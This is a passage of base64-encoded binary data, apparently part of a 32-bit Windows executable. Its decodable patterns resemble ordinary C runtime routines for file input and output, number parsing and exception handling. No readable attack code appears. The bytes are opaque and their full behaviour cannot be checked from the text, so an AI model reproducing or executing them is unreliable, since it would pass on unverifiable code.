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WY7hUDl//8PhWgDAACDhTjl//8Cg70g5f//AHQpag1YUImFQOX//+jkUgAAWWY7hUDl//8PhTsDAAD/hTjl////hTDl//+LRRA5hUTl//8Pgvn9///pJwMAAIsOihP/hTjl//+IVA80iw6JRA846Q4DAAAzyYsGA8f2QASAD4S/AgAAi4U05f//iY1A5f//hNsPhcoAAACJhTzl//85TRAPhiADAADrBou1KOX//4uNPOX//4OlROX//wArjTTl//+NhUjl//87TRBzOYuVPOX///+FPOX//4oSQYD6CnUQ/4Uw5f//xgANQP+FROX//4gQQP+FROX//4G9ROX///8TAABywovYjYVI5f//K9hqAI2FLOX//1BTjYVI5f//UIsG/zQH/xVs4EAAhcAPhEICAACLhSzl//8BhTjl//87ww+MOgIAAIuFPOX//yuFNOX//ztFEA+CTP///+kgAgAAiYVE5f//gPsCD4XRAAAAOU0QD4ZNAgAA6waLtSjl//+LjUTl//+DpTzl//8AK4005f//jYVI5f//O00Qc0aLlUTl//+DhUTl//8CD7cSQUFmg/oKdRaDhTDl//8Cag1bZokYQECDhTzl//8Cg4U85f//AmaJEEBAgb085f///hMAAHK1i9iNhUjl//8r2GoAjYUs5f//UFONhUjl//9Qiwb/NAf/FWzgQACFwA+EYgEAAIuFLOX//wGFOOX//zvDD4xaAQAAi4VE5f//K4U05f//O0UQD4I/////6UABAAA5TRAPhnwBAACLjUTl//+DpTzl//8AK4005f//agKNhUj5//9eO00QczyLlUTl//8PtxIBtUTl//8DzmaD+gp1DmoNW2aJGAPGAbU85f//AbU85f//ZokQA8aBvTzl//+oBgAAcr8z9lZWaFUNAACNjfDr//9RjY1I+f//K8GZK8LR+FCLwVBWaOn9AAD/FXDgQACL2DveD4SXAAAAagCNhSzl//9Qi8MrxlCNhDXw6///UIuFKOX//4sA/zQH/xVs4EAAhcB0DAO1LOX//zvef8vrDP8VGOBAAImFQOX//zvef1yLhUTl//8rhTTl//+JhTjl//87RRAPggr////rP2oAjY0s5f//Uf91EP+1NOX///8w/xVs4EAAhcB0FYuFLOX//4OlQOX//wCJhTjl///rDP8VGOBAAImFQOX//4O9OOX//wB1bIO9QOX//wB0LWoFXjm1QOX//3UU6D7c///HAAkAAADoRtz//4kw6z//tUDl///oStz//1nrMYu1KOX//4sG9kQHBEB0D4uFNOX//4A4GnUEM8DrJOj+2///xwAcAAAA6Abc//+DIACDyP/rDIuFOOX//yuFMOX//19bi038M81e6BXN///Jw2oQaOD6QADo4+f//4tFCIP4/nUb6Mrb//+DIADor9v//8cACQAAAIPI/+mdAAAAM/87x3wIOwWIK0EAciHoodv//4k46Ifb///HAAkAAABXV1dXV+gP2///g8QU68mLyMH5BY0cjaArQQCL8IPmH8HmBosLD75MMQSD4QF0v1DolEkAAFmJffyLA/ZEMAQBdBb/dRD/dQz/dQjoLvj//4PEDIlF5OsW6CTb///HAAkAAADoLNv//4k4g03k/8dF/P7////oCQAAAItF5Ohj5///w/91COjeSQAAWc